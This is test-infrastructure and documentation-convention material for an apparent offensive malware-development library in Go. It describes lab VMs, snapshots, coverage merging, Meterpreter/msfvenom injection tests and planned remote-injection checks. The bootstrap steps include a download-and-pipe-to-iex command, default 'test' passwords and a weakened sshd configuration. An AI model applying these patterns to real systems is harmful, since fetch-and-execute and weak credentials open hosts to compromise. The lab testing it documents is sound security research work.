bash scripts/full-coverage.sh --skip-windows11-vm
# Narrow vmtest directly at one package (faster than the full wrapper).
MALDEV_VM_WINDOWS_SSH_HOST=192.168.122.122 \
MALDEV_VM_WINDOWS_SNAPSHOT=TOOLS \
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 \
go run ./cmd/vmtest -report-dir=ignore/coverage windows \
"./runtime/clr/..." "-count=1 -v -timeout=5m"
# Merge arbitrary profiles by hand.
go run scripts/coverage-merge.go \
-out ignore/coverage/cover-merged.out \
-report ignore/coverage/report.md \
ignore/coverage/cover-linux-host.out \
ignore/coverage/win10/cover.out \
ignore/coverage/win10/clrhost-cover.out
Snapshot inventory
Each VM has two snapshots dedicated to the test harness:
| VM | INIT | TOOLS |
|---|---|---|
win10 | Go 1.26.2 + OpenSSH + authorized_keys | INIT + .NET Framework 3.5 enabled |
win11-2 (optional) | Go 1.26.2 + OpenSSH + authorized_keys | not provisioned — second build for cross-version sanity, no TOOLS additions yet |
debian13 (Kali) | Go + MSF + OpenSSH + authorized_keys | INIT + postgresql enable --now + msfdb init |
ubuntu20.04- | Go 1.26.2 + rsync + authorized_keys | (placeholder — identical to INIT for now) |
Rule: always test on TOOLS. INIT stays pristine as a fallback if
TOOLS gets corrupted. vm-provision.sh is idempotent: if TOOLS already
exists and the tools are already installed, it's a no-op.
Test gates (environment variables)
The harness uses opt-in gates so running go test ./... locally doesn't
accidentally trigger destructive operations.
| Variable | Effect | When to enable |
|---|---|---|
MALDEV_INTRUSIVE=1 | Unblocks tests that mutate process state (hooks, patches, injection) | VM runs only |
MALDEV_MANUAL=1 | Unblocks tests that need admin + VM (services, scheduled tasks, impersonation with password, CLR legacy path, CVE PoCs) | VM runs only |
MALDEV_KALI_SSH_HOST / _PORT / _KEY / _USER | Points to the Kali VM for MSF/Meterpreter tests | Always set when Kali is up |
MALDEV_KALI_HOST | LHOST for reverse payloads — same IP as Kali | Ditto |
MALDEV_VM_WINDOWS_SSH_HOST / _LINUX_SSH_HOST | Overrides virsh domifaddr auto-discovery when the libvirt session can't see DHCP leases (Fedora host) | On hosts where auto-discovery fails |
MALDEV_VM_*_SNAPSHOT | Selects the snapshot used for restore per VM | To pin TOOLS explicitly |
scripts/full-coverage.sh exports all 10 variables automatically — pass
--snapshot=TOOLS and it handles the rest.
Reference results (run from 2026-04-22 — TOOLS snapshot)
cover-linux-host.out cov=44.8% (host, all gates)
ubuntu20.04- cov=44.4% P=310 F=0* S=41 (Linux VM)
win10 cov=50.0% P=672 F=0** S=23 (Windows VM)
----------------------------------------
cover-merged-full.out cov=51.9% (merged)
Progression over the course of the work:
| Step | Merged coverage | Delta |
|---|---|---|
| Baseline (Linux host only, no gates) | 39.4% | — |
| + Linux VM + Windows VM (3 batches) | 41.3% | +1.9 |
| + 16 stub tests added | 43.1% | +1.8 |
+ MALDEV_INTRUSIVE=1 + MALDEV_MANUAL=1 + Kali | 51.3% | +8.2 |
+ TOOLS snapshot (.NET 3.5) | 51.3% | +0 ¹ |
+ compat polyfill tests (cmp, slices) | 51.4% | +0.1 |
| + clrhost subprocess coverage merge | 51.9–52.0% | +0.6 |
¹ The runtime/clr CLR tests still SKIP on this VM — the TOOLS provisioning
enabled .NET 3.5 but the legacy v2 COM activation chain remains incomplete
(see CLR v2 activation blocker below). The
merge coverage for runtime/clr is from the failure paths in Load(), which
the clrhost-cover.out profile captures.
* Historical: TestProcMemSelfInject flapped 2 out of 3 runs (transient
SIGSEGV in the child during exit cleanup, after injection succeeded).
Fixed via 3× retry + PROCMEM_OK marker match in stdout instead of
relying on exit code.
** Historical: TestBusyWaitPrimality failed on the Windows VM (took
10.15 s against a 10 s upper bound). Fixed by raising the bound to
60 s — the VM's CPU is shared (20 vCPUs / 4 GB RAM) and non-deterministic.
Remaining SKIPs — justified inventory (64 across the all-gates run)
SKIPs aren't a defect as long as each one is legitimate. Classification:
| # | Family | Examples | Fixable? |
|---|---|---|---|
| 40 | Platform mismatch | RequireWindows on Linux VM, RequireLinux on Windows | No — by design |
| 5 | Skip-because-admin | TestAddAccessDenied tests the "Access Denied" branch when not admin; correct to skip when we are admin | No — inverted-logic check |
| 3 | .NET 3.5 subprocess paths | TestLoadAndClose, TestExecuteAssembly*, TestExecuteDLL* | Partial — see "clrhost" above |
| 3 | External tools missing | TestBuildWithCertificate (signtool, Windows SDK 1 GB), TestUPXMorphRealBinary (UPX 3.x only — we have 4.2.4) | High cost — documented |
| 3 | Interactive session required | TestCapture*, TestCaptureSimulatedKeystrokes — need session 1 (desktop); SSH opens session 0 | Possible via RDP + AutoLogon, low priority |
| 4 | SC-specific context | Test{Hide,UnHide}Service* — require a pre-existing service with a specific SD | Would need a dummy service in TOOLS |
| 3 | MSF timing / PPID | TestMeterpreterRealSession (×2), TestPPIDSpoofer — MSF boot timing + PPID race | Retry loop possible |
| 2 | !windows stubs | TestEnforcedNonWindowsStub, TestDisableNonWindowsStub | Correctly skip on Windows — no action |
| 2 | NTFS / memory protection | TestFiber_RealShellcode, TestSetObjectID | Defender / NTFS quirks |
CLR v2 legacy activation blocker
runtime/clr tests (TestLoadAndClose, TestExecuteAssemblyEmpty,
TestExecuteDLLValidation, TestExecuteDLLReal) skip with:
clr: ICorRuntimeHost unavailable (install .NET 3.5 and call InstallRuntimeActivationPolicy before Load)
This is environmental, not a code bug. Diagnosed during the 2026-04-22 session:
Get-WindowsOptionalFeature -Online -FeatureName NetFx3→State=EnabledC:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dllpresent (10.6 MB)- A hand-written C#
hello.cscompiled withv2.0.50727\csc.exeruns correctly — the v2 runtime itself works end-to-end TestInstallAndRemoveRuntimeActivationPolicyPASSES (writes/removes the legacy config file correctly)
Root cause: CLSID {CB2F6722-AB3A-11D2-9C40-00C04FA30A3E} (CorRuntimeHost)
is not registered in HKLM\SOFTWARE\Classes\CLSID\. Only the sibling
CLSID {CB2F6723-AB3A-11d2-9C40-00C04FA30A3E} (IMetaDataDispenser)
exists. DISM /Enable-Feature /FeatureName:NetFx3 is not sufficient —
it enables the runtime bits but leaves the legacy v2 activation chain
incomplete.
Attempts that did NOT unblock it (all tried during the session):
- Reboot (actually
shutdown /runder SYSTEM didn't really reboot) regsvr32 mscoree.dll(System32 + SysWOW64, both exit 0 but CLSID still missing)RegAsm.exe mscorlib.dll /codebase(failed RA0000 "need admin credentials" even under SYSTEM)- Manual
reg importof the CLSID structure mirroring the sibling{CB2F6723-…}entry — keys exist (HKLM\SOFTWARE\Classes\CLSID\{CB2F6722-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32→mscoree.dll,ThreadingModel=Both,ProgID=CLRRuntimeHost,ImplementedInThisVersion={2.0.50727,4.0.30319}) butCorBindToRuntimeExstill returns0x80040154 (REGDB_E_CLASSNOTREG)for both v2.0.50727 and v4.0.30319. Confirmed 2026-04-25 with a one-shot Go diagnostic that callsmscoree!CorBindToRuntimeExdirectly and prints the raw HRESULT. Conclusion: mscoree's internal binding looks at more than just the CLSID — interface registration, typelib, and Fusion entries are also missing, and only the full.NET 3.5 Redistributable(offlinedotnetfx35.exefrom Win7-era, or the in-placesources/sxspayload from a Win10 ISO) runs the complete chain. InstallRuntimeActivationPolicy()at startup ofclrhost(writes<exe>.config— doesn't help, the issue is COM registration)
What was added in TOOLS v2 (2026-04-25):
scripts/vm-provision.shnow imports the CLSID{CB2F6722-…}entry every provisioning pass, so future debug rounds start from the same baseline rather than rediscovering the missing key. It also pushes + runsdism /online /Add-Packageagainst the Win10 ISO'ssources/sxs/microsoft-windows-netfx3-ondemand-package*.cabwhen staged atMALDEV_NETFX3_CAB. Confirmed 2026-04-25 that this still doesn't unblockCorBindToRuntimeExafter a reboot, but it gets the snapshot one step closer to a working CLR2 activation chain.runtime/clr/clr_windows.go::corBindToRuntimeExwraps theREGDB_E_CLASSNOTREGpath with%w+ the raw HRESULT, so SKIP messages now readCorBindToRuntimeEx(v2.0.50727): HRESULT 0x80040154 (REGDB_E_CLASSNOTREG): clr: ICorRuntimeHost unavailable …— the next investigator sees the actual code without rebuilding.
What was tried + ruled out 2026-04-25 (after pt 1/2):
dism /online /enable-feature /featurename:NetFx3 /all /Source:<sources/sxs> /LimitAccessafter adism /disable-featureround-trip — failed0x488 (1168, ERROR_NOT_FOUND). The OnDemand cab alone isn't enough for /enable-feature.dism /online /Add-Package /PackagePath:<sources/sxs/...netfx3-ondemand...cab>— succeeded, exit3010 (REBOOT_REQUIRED). After reboot,CorBindToRuntimeExstill returns0x80040154. The OnDemand package adds the runtime files but not the legacy COM/typelib/Fusion chain mscoree binds against.- Win7-era
.NET Framework 3.5 Redistributable(dotnetfx35.exe, 232 MB from Microsoft download CDN) — the installer ran silently and returned0but produced no log content beyondDONE_EXIT=0; on Win10 it refuses to install (the OS is "newer than supported"). HRESULT unchanged.
What to try next (still open, needs Windows ISO):
- Mount a Win10 22H2 ISO inside the VM and run
dism /online /enable-feature /featurename:NetFx3 /all /source:D:\sources\sxs /LimitAccess. This drives the full registration chain that the network-only DISM path skips. - Install the
.NET Framework 3.5 Redistributableoffline installer (dotnetfx35.exe, Win7-era) — even on Win10 it tends to trigger the full COM/typelib/Fusion registration viamscorsvw.exepost-install hooks. sfc /scannowto restore system file coherence.- Re-provision the
win10VM from a fresh Windows ISO that bundles .NET 3.5 in the install base rather than activated after the fact via DISM.
The clrhost coverage infrastructure itself is correct — go build -cover,
GOCOVERDIR, go tool covdata textfmt, vmtest.Fetch, and coverage-merge.go
all work. When the CLR environment cooperates, 7+ runtime/clr functions light
up in the merged profile (Load 56.7%, enumerate 100%, orderCandidates
90%, metaHostRuntime 77.8%, runtimeInfoBindLegacyV2 100%, runtimeInfoCorHost
62.5%, createMetaHost 80%). Don't rewrite the mechanism — just fix the VM.
Other open leads
-
Signtool — install Windows SDK (headless via
winget install Microsoft.WindowsSDK), re-snapshotTOOLS. UnblocksTestBuildWithCertificate. -
Service skeleton for
cleanup/service— pre-create a dummy service in theTOOLSsnapshot (sc create maldev-test-svc binPath=C:\Windows\System32\cmd.exe). UnblocksTest{Hide,UnHide}Service*. -
Packages without
_test.go(29 as of 2026-04-22; seeignore/coverage/no-tests.txtif regenerated) — mainlycmd/*binary entry points andpe/masquerade/preset/*. The former aremain()functions (out of scope for unit tests); the latter are resource-only packages with no executable code. -
Meterpreter matrix —
scripts/x64dbg-harness/meterpreter_matrix/exercises 20 techniques × MSF sessions. Not integrated intofull-coverage.shyet; run manually. Results logged indocs/testing.md. -
Automated "missing tool" detection — extend
vm-provision.shto actively probe for signtool, Windows SDK, interactive session (today it checks only NetFx3, postgresql, msfdb). Add an issue-style section in the log listing what's absent.
Files produced by this work
cmd/vmtest/driver.go # +Fetch, +io.Writer in Exec
cmd/vmtest/driver_libvirt.go # +Fetch scp, +io.Writer
cmd/vmtest/driver_vbox.go # +Fetch copyfrom, +io.Writer
cmd/vmtest/runner.go # +-report-dir, -coverprofile inject, tee log, Fetch cover.out + clrhost-cover.out
cmd/vmtest/runner_test.go # 4 unit tests (injectCoverprofile, safeLabel, guestCoverPath, guestClrhostCoverPath)
cmd/vmtest/main.go # +-report-dir flag
scripts/coverage-merge.go # merge N cover profiles → Markdown
scripts/full-coverage.sh # end-to-end workflow
scripts/vm-provision.sh # install tools + snapshot TOOLS
docs/coverage-workflow.md # this file
testutil/kali_test.go # 4 env resolvers (kaliSSHHost/Port/Key/User)
testutil/clr_windows.go # clrhost built with -cover, covdata → textfmt
testutil/clrhost/main.go # +exec-dll-real op, +--dll-path flag
testutil/clrhost/maldev_clr_test.dll # 3 KB .NET 2.0 assembly (Maldev.TestClass.Run)
evasion/unhook/factories_test.go # 5 factories + Name methods (Windows)
recon/hwbp/technique_test.go # Technique() factory (Windows)
evasion/cet/cet_test.go # +Enforced/Disable stub tests
process/tamper/hideprocess/hideprocess_stub_test.go
evasion/stealthopen/stealthopen_stub_test.go
process/tamper/fakecmd/fakecmd_stub_test.go
evasion/preset/preset_stub_test.go
evasion/hook/hook_stub_test.go
evasion/hook/probe_stub_test.go
evasion/hook/remote_stub_test.go
evasion/hook/bridge/controller_stub_test.go
evasion/hook/bridge/controller_windows_test.go # 8 deeper tests for CallOriginal, Args, Log, Ask
evasion/hook/hook_lifecycle_windows_test.go # TestReinstallAfterRemove, TestInstallOnPristineTargetAfterGroupRollback
c2/transport/namedpipe/namedpipe_stub_test.go
cleanup/ads/ads_stub_test.go
process/session/sessions_stub_test.go
runtime/clr/clr_stub_test.go
internal/compat/cmp/cmp_modern_test.go
internal/compat/slices/slices_modern_test.go
runtime/clr/clr_windows_test.go # +TestExecuteDLLReal
recon/timing/timing_test.go # TestBusyWaitPrimality upper bound 10s → 60s
inject/linux_test.go # TestProcMemSelfInject retry 3× + PROCMEM_OK marker
Troubleshooting
- VM unreachable over SSH.
virsh -c qemu:///session list --all,virsh start <vm>, checkip neigh show | grep 52:54(VM MAC in the ARP table). Session-mode libvirt doesn't expose DHCP leases viavirsh domifaddr, hence the env-pinned IPs. - DISM "Access denied". OpenSSH on Windows 10 runs at medium
integrity; UAC blocks elevation. Workaround: run via
schtasks /ru SYSTEM(seescripts/vm-provision.shfor the pattern). - Kali
sudoprompts for a password. Default istest; override viaMALDEV_KALI_SUDO_PASSWORD. TOOLSsnapshot corrupted.virsh snapshot-delete <vm> --snapshotname TOOLS, then re-runvm-provision.sh.- Windows tests frozen with no output.
go test ./...compiles silently for the first ~5 min — that's normal. Use-vto see each test as it starts rather than waiting for the package-level summary. TestProcMemSelfInject/TestBusyWaitPrimalityred. If they flap despite the retry/bound fixes, reproduce withgo test -count=5 -run <Name>and tighten further.- VM silently pauses mid-run (QEMU
pausedstate). Observed 2 out of 5 runs during the 2026-04-22 session. ARP entry for the VM drops, SSH returns "No route to host". Workaround:virsh destroy <vm> && virsh snapshot-revert <vm> --snapshotname TOOLS --force, then relaunch. If chronic, recreateTOOLSfrom a freshINIT. runtime/clrtests SKIP withICorRuntimeHost unavailable. See the CLR v2 activation blocker section above. Not a code bug in maldev — the.NET 3.5install on this VM is incomplete at the COM-registration layer.
VM Test Setup — Reproducible Bootstrap
Scope. This document covers bootstrap from zero: host tools, guest OS install, SSH keys,
INITsnapshot. For per-test-type details (injection matrix, Meterpreter, evasion byte-pattern verification, BSOD) seedocs/testing.md. For the cross-platform coverage collection workflow (merged report) seedocs/coverage-workflow.md.
This guide brings a fresh host (Fedora/libvirt or Windows/VirtualBox)
to the state where ./scripts/test-all.sh runs the full pass/fail matrix:
- memscan static verification matrix — 77+ byte-pattern checks
- Linux VM go test — intrusive + manual tests enabled
- Windows VM go test — intrusive + manual tests enabled
For the merged coverage workflow (same VMs, additionally captures
cover.out from each guest and unions profiles into a single report),
run scripts/full-coverage.sh after provisioning a TOOLS snapshot with
scripts/vm-provision.sh — see docs/coverage-workflow.md.
The Kali VM (Meterpreter handler) is provisioned similarly but orchestrated
separately via testutil/kali.go.
Host requirements
| Host OS | Hypervisor | Tools the host needs |
|---|---|---|
| Fedora / Debian / Ubuntu | libvirt + qemu | virsh, ssh, scp, rsync, sshpass (for install-keys.sh), Go 1.25+ |
| Windows 10/11 | VirtualBox 7+ | VBoxManage on PATH, Git for Windows (Git Bash), Go 1.25+ |
Fedora quick install:
sudo dnf install -y @virtualization virt-manager virt-install sshpass rsync openssh-clients
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt "$USER" # re-login required
Windows: download VBox + Go MSI, add C:\Program Files\Oracle\VirtualBox
to PATH, open Git Bash.
VM inventory
Three VMs, names committed in scripts/vm-test/config.yaml as defaults.
Per-host overrides in scripts/vm-test/config.local.yaml (gitignored).
| Role | VirtualBox default name | libvirt default name | Snapshot | User | Purpose |
|---|---|---|---|---|---|
| Windows | Windows10 | win10 | INIT | test (admin) | unit + intrusive tests, memscan target |
| Windows 11 (optional) | Windows11 | win11-2 | INIT | test (admin) | second Windows build for cross-version coverage |
| Linux | Ubuntu25.10 | ubuntu20.04 | INIT | test | Linux unit tests, procmem/memfd/ptrace |
| Kali | (not managed by vmtest) | kali | INIT | test | MSF msfconsole/msfvenom, Meterpreter end-to-end |
The windows11 target is optional — vmtest all runs all configured
VMs but vmtest windows / vmtest windows11 lets you target one
build at a time. To add a second Windows VM after the first is set
up, repeat the bootstrap steps with the libvirt domain name in
config.local.yaml's vms.windows11.libvirt_name.
INIT is a snapshot taken AFTER provisioning (Go installed, OpenSSH up,
SSH key authorized, firewall opened). Every test run reverts to INIT.
One-time bootstrap, from scratch
1. Generate host-side SSH keys (one per VM role)
mkdir -p ~/.ssh && chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f ~/.ssh/vm_windows_key -N '' -C "maldev-vmtest-windows"
ssh-keygen -t ed25519 -f ~/.ssh/vm_linux_key -N '' -C "maldev-vmtest-linux"
ssh-keygen -t ed25519 -f ~/.ssh/vm_kali_key -N '' -C "maldev-vmtest-kali"
Keys live outside the repo. Never committed.
2. Install the guest OSes
- Linux guest: Ubuntu 20.04+ or Debian. During install, create local
user
testwith passwordtest, grant sudo. Install can be anything (virt-install cloud-init, GNOME Boxes, VirtualBox GUI). - Windows guest: Windows 10/11. During install, create local user
testwith passwordtest, add to Administrators. - Kali guest: standard Kali install. Create user
testwith passwordtest(or any pair you pass tosshpass).
3. Provision each guest (bring it to ready state)
Two paths per guest. Pick one.
3a. Scripted — inside the guest
Copy the bootstrap script into the guest and run it.
-
Linux / Kali guest — from the host:
scp scripts/vm-test/bootstrap-linux-guest.sh test@<guest-ip>:/tmp/ ssh test@<guest-ip> "bash /tmp/bootstrap-linux-guest.sh"The script: installs openssh-server + rsync + curl + Go 1.26 (or
GO_VERSIONoverride), enables sshd at boot, creates/usr/local/bin/gosymlink so non-login SSH sessions see Go. -
Windows guest — inside the VM (elevated PowerShell):
# Paste the public key and run (one-time): iwr -useb http://<host-ip>/bootstrap-windows-guest.ps1 | iex # OR copy scripts\vm-test\bootstrap-windows-guest.ps1 into the VM and run: .\bootstrap-windows-guest.ps1 -PublicKey "ssh-ed25519 AAAA..."The script: installs OpenSSH Server, starts sshd, opens firewall 22 and 50300, comments out the
Match Group administratorsblock in sshd_config (so admin users read~/.ssh/authorized_keysnormally), installs Go intoC:\Go, creates memscan firewall rule. Pass-PublicKeycontaining the content of~/.ssh/vm_windows_key.pub.
3b. Manual — if you prefer
See Manual guest provisioning at the bottom.
4. Push SSH keys into the guests
# Start each VM and ensure sshd is listening on port 22.
virsh start win10 && virsh start ubuntu20.04 && virsh start kali # libvirt
# (or use VBoxManage startvm on Windows)
./scripts/vm-test/install-keys.sh linux # pushes vm_linux_key.pub via ssh-copy-id
./scripts/vm-test/install-keys.sh kali # same for Kali
# Windows: the bootstrap script already installed the key — skip install-keys.sh.
5. Create the INIT snapshot on each VM
libvirt:
for d in win10 ubuntu20.04 kali; do
virsh snapshot-create-as "$d" --name INIT --description "post-provision ready state"
done
VirtualBox:
for vm in Windows10 Ubuntu25.10 Kali; do
VBoxManage snapshot "$vm" take INIT --description "post-provision ready state" --live
done
6. Wire up config.local.yaml (host-side, per-host overrides)
cp scripts/vm-test/config.local.example.yaml scripts/vm-test/config.local.yaml
# edit: set libvirt_name if your domain names differ, and ssh_key paths.
For Kali: its host/user/key come from environment, not YAML.
cp scripts/vm-test/kali-env.sh.example scripts/vm-test/kali-env.sh
# edit: set MALDEV_KALI_SSH_HOST to `virsh domifaddr kali | awk '/ipv4/...'`
# Then source it from your shell:
echo '. ~/GolandProjects/maldev/scripts/vm-test/kali-env.sh' >> ~/.bashrc
7. Verify
./scripts/test-all.sh --only memscan # static matrix
./scripts/test-all.sh --only linux # Linux go test ./...
./scripts/test-all.sh --only windows # Windows go test ./...
./scripts/test-all.sh # everything, with a unified report
Expected final summary:
memscan PASS total sub-checks: 77 passed / 0 failed (0 fatal row(s))
linux PASS packages: N ok / 0 FAIL (exit=0)
windows PASS packages: N ok / 0 FAIL (exit=0)
overall: PASS
Debugging native crashes inside the Windows VM
When a test process crashes with an access violation on a non-Go thread (e.g. a thread-pool callback, as happens with the Ekko ROP chain), Go's own crash reporter usually catches it and prints a traceback — but the stack dump is often enough to pinpoint the bug. Workflow:
# Run the failing test DIRECTLY via SSH (bypassing vmtest so the VM
# doesn't auto-revert and lose state). Source is pushed as a tarball.
tar -czf /tmp/src.tar.gz --exclude='.git' --exclude='ignore' .
scp -i $HOME/.ssh/vm_windows_key -o StrictHostKeyChecking=no \
/tmp/src.tar.gz test@<VM_IP>:C:/maldev-src.tar.gz
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
'cd /d C:\maldev & tar -xzf C:\maldev-src.tar.gz & \
go test -c -o C:\t.exe ./<package>/'
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
'C:\t.exe -test.v -test.run <Name>' > /tmp/crash.log 2>&1
head -30 /tmp/crash.log # exception code, address, goroutine trace
Go's crash output includes:
signal 0xc0000005 code=0x0 addr=0x...— exception code + fault addressgoroutine N gp=... [running]:+ symbolic stack framesunexpected return pc for X called from 0x...— surfaces stack corruption
If the Go reporter doesn't surface enough detail, WER LocalDumps (configured
by scripts/vm-provision.sh) writes a full minidump to C:\Dumps\*.dmp;
fetch it back via scp and analyze on the host. The TOOLS snapshot already
has the registry keys (DumpType=2, DumpFolder=C:\Dumps).
Troubleshooting
| Symptom | Cause | Fix |
|---|---|---|
virsh list shows empty | user not in libvirt group OR URI mismatch | sudo usermod -aG libvirt $USER + re-login; or virsh -c qemu:///session list for user-mode VMs (GNOME Boxes default) |
Windows SSH key-auth refused despite ~/.ssh/authorized_keys | Match Group administrators in sshd_config — admins read administrators_authorized_keys | Comment out the Match block (bootstrap script does this) |
memscan server spawned but /health times out | Windows Firewall blocks 50300 | New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow |
| memscan server dies as soon as SSH session ends | Windows OpenSSH binds children to sshd's JobObject | Orchestrator already uses Task Scheduler (schtasks /Create /SC ONCE + /Run) — runs outside the job |
| "Le chemin d'accès spécifié est introuvable" from virsh parsing | French locale | LC_ALL=C forced in all scripts (install-keys.sh, driver_libvirt.go) |
go not in PATH via non-login SSH | default /etc/profile.d/go.sh only loads for login shells | Symlink /usr/local/go/bin/go → /usr/local/bin/go (bootstrap script does this) |
ubuntu20.04- with trailing dash | GNOME Boxes install artifact | Either use the name as-is in config.local.yaml or virsh domrename ubuntu20.04- ubuntu20.04 |
Kali VM named debian13 in libvirt | installer chose that name | Use libvirt_name: debian13 in kali-env.sh, or virsh domrename debian13 kali |
Manual guest provisioning
If the bootstrap scripts don't fit, here's the minimum each guest needs.
Linux / Kali guest
sudo apt update && sudo apt install -y openssh-server rsync curl
sudo systemctl enable --now ssh
curl -LO https://go.dev/dl/go1.26.2.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.26.2.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/go /usr/local/bin/go
sudo ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm go1.26.2.linux-amd64.tar.gz
Kali only: sudo apt install -y metasploit-framework (usually pre-installed).
Windows guest (elevated PowerShell)
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
New-NetFirewallRule -Name ssh-in -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Authorize the host's public key.
$k = 'ssh-ed25519 AAAA... maldev-vmtest-windows'
New-Item -ItemType Directory -Force C:\Users\test\.ssh | Out-Null
Add-Content C:\Users\test\.ssh\authorized_keys $k
icacls C:\Users\test\.ssh\authorized_keys /inheritance:r /grant "test:F" /grant "SYSTEM:F"
# If user 'test' is an admin: comment Match Group administrators block.
$cfg = "$env:ProgramData\ssh\sshd_config"
(Get-Content $cfg) -replace '^(Match Group administrators)','# $1' `
-replace '^(\s*AuthorizedKeysFile\s+__PROGRAMDATA__)','# $1' |
Set-Content $cfg -Encoding ASCII
Restart-Service sshd
# Go 1.26.2.
$zip = "$env:TEMP\go.zip"
Invoke-WebRequest https://go.dev/dl/go1.26.2.windows-amd64.zip -OutFile $zip -UseBasicParsing
Expand-Archive $zip -DestinationPath C:\ -Force
[Environment]::SetEnvironmentVariable("Path",
[Environment]::GetEnvironmentVariable("Path","Machine") + ";C:\Go\bin", "Machine")
Remove-Item $zip
Then take a INIT snapshot and register the libvirt/VBox name in
scripts/vm-test/config.local.yaml.
Future extensions (Phase 5)
Not currently in the matrix, kept in this note so a contributor can add them without re-deriving the design:
-
Remote-inject verifs (~20 additional sub-checks):
CreateRemoteThread,RtlCreateUserThread,EarlyBirdAPC,QueueUserAPC,ThreadHijack,KernelCallbackExec,PhantomDLLInject,ModuleStomp,ExecuteCallback{EnumWindows, TimerQueue, CertEnumStore} × 4 callers where applicable. Pattern: extendcmd/memscan-harness/harness_windows.gowith a-target notepadflag that spawnsnotepad.exe, uses that PID forinject.Config.PID, then reports both harness PID andtarget_pid=<notepad>. The orchestrator attaches totarget_pidfor/find. Expected "fails" perdocs/testing.md:61-62: ThreadHijack+Direct/Indirect (RSP alignment), CreateFiber (deadlocks Go). -
BSOD test (crashes VM, restores snapshot): reimplement the gitignored
scripts/vm-test-bsod.gousing the same vmtest driver. Launch harness via scheduled task that callsbsod.Trigger(nil), poll sshd disappearance on the VM, thendriver.Restore(). -
Meterpreter matrix (~21 end-to-end sessions): wrap the Meterpreter e2e scenarios from
docs/testing.md:78-108in the same matrix-runner shape as memscan. Each row: spawn MSF handler on Kali viatestutil.KaliStartListener, inject msfvenom shellcode via oneMethod × Caller, asserttestutil.KaliCheckSession()returns true. -
MCP SSE streamable HTTP: the stdio MCP adapter (
cmd/memscan-mcp) already speaks JSON-RPC 2.0. To expose it over network for remote Claude Code usage, add--ssemode that listens HTTP on a port, implementing the MCP SSE transport. ~100 LoC.
Documentation Conventions Skill
Apply this skill to all documentation work in this project. The
methodology was decided 2026-04-27 and is the canonical source — older .md
files that diverge are legacy and must be migrated, not perpetuated.
Surface (where docs live)
Hybrid model. /docs/**.md and */doc.go files are the canonical
source of truth, browseable directly on GitHub. A CI job additionally
generates a richer site on gh-pages (mdBook or Docusaurus) with full-text
search, dark mode, and versioned snapshots.
- Anything that ships on
pkg.go.dev(godoc) is godoc-rendered. Don't put GitHub-specific markdown indoc.go— write plain godoc that survives both surfaces. - Anything in
/docs/**.mdmay use full GFM + GitHub advanced formatting (Mermaid, alerts, math, collapsibles, tables, footnotes, task lists). - The
gh-pagessite builds from/docs/**.md— never write content that only exists on the site. Source is markdown.
Audience paths (3 explicit roles)
The README and docs/index.md route readers via three role pages:
docs/by-role/operator.md— red team / ops focus: chains, OPSEC, payload-ready snippets, deployment patterns.docs/by-role/researcher.md— security R&D focus: how it works at the kernel/runtime layer, paper references, MITRE/D3FEND mapping.docs/by-role/detection-eng.md— blue team focus: artifacts left, detection telemetry, EDR signatures, hardening recommendations.
Every technique page links back to one or more role pages via "See also". Every role page links forward to relevant technique pages. The tree is acyclic and traversable both ways.
Per-package docs (doc.go)
Required structure. Every public package MUST have a doc.go that
matches this template (literal section headers, in this order):
// Package <name> <one-sentence purpose, ending with a period>.
//
// <intro paragraph: what problem it solves, who calls it, when to use it.
// 80–200 words, plain prose, no headers.>
//
// # MITRE ATT&CK
//
// - T<id> (<full sub-technique name>)
// - [more if applicable]
//
// # Detection level
//
// <one of: very-quiet | quiet | moderate | noisy | very-noisy>
//
// <one or two sentences on the artifacts left behind. Be concrete:
// syscalls invoked, registry keys touched, ETW providers triggered, etc.>
//
// # Example
//
// See [Example<First>] in <name>_example_test.go.
//
// # See also
//
// - docs/techniques/<area>/<file>.md
package <name>
Detection level scale — pick exactly one bucket per package:
| Bucket | Meaning |
|---|---|
very-quiet | Zero artifacts above noise. In-process only. Common syscalls only. |
quiet | Minimal trace. No event log. May leave one transient registry/file artifact. |
moderate | Distinguishable syscall pattern but commonly used by legitimate software. |
noisy | Triggers ETW providers, event log entries, or cross-process activity that's monitorable. |
very-noisy | High-confidence detection by signature: known sigs in Defender, hooked APIs that EDR specifically watches. |
MITRE format — always T<id>(.<sub>)? (<full name>). Never bundle without
the () form. Examples:
T1003.001 (OS Credential Dumping: LSASS Memory)✅T1003.001 — OS Credential Dumping: LSASS Memory❌ (em-dash)T1071, T1573❌ (bundled, missing names)
Per-technique pages (docs/techniques/<area>/<file>.md)
Template — flexible, but API Reference is mandatory. Sections in the order listed. Omit a section if it has no content; never reorder.
# <Title>(H1, no subtitle).- Front-matter (YAML) — see Versioning below.
## TL;DR— 3 lines max. What / why / when.## Primer— 100–200 words, beginner-accessible. Defines the problem space without code.## How It Works— diagrams + step list. Mermaid encouraged when it adds clarity.## API Reference— REQUIRED, homogenized format (see below).## Examples:### Simple— minimum-viable runnable snippet, ≤10 LOC.### Composed— combined with ≥1 other package (e.g.,evasion + caller).### Advanced— chain ≥4 packages.### Complex— full end-to-end scenario, may link out todocs/examples/*.md.
## OPSEC & Detection— artifacts left, defender vantage points, D3FEND counter-techniques taggedD3-XXX.## MITRE ATT&CK— mini-table:| T-ID | Name | Sub-coverage | D3FEND counter | |---|---|---|---| | T1003.001 | OS Credential Dumping: LSASS Memory | full | D3-PA |## Limitations— Windows version gates, admin/SYSTEM requirements, AV signatures encountered.## See also— sibling technique pages, doc.go anchor, external references (papers, blog posts).
Banned: "Compared to Other Implementations" sections. We don't benchmark against tooling we don't ship.
API Reference format (REQUIRED, homogeneous)
Each public exported symbol gets a fixed-shape entry:
### `Foo(arg Type) (Result, error)`
[godoc](https://pkg.go.dev/github.com/oioio-space/maldev/<path>#Foo)
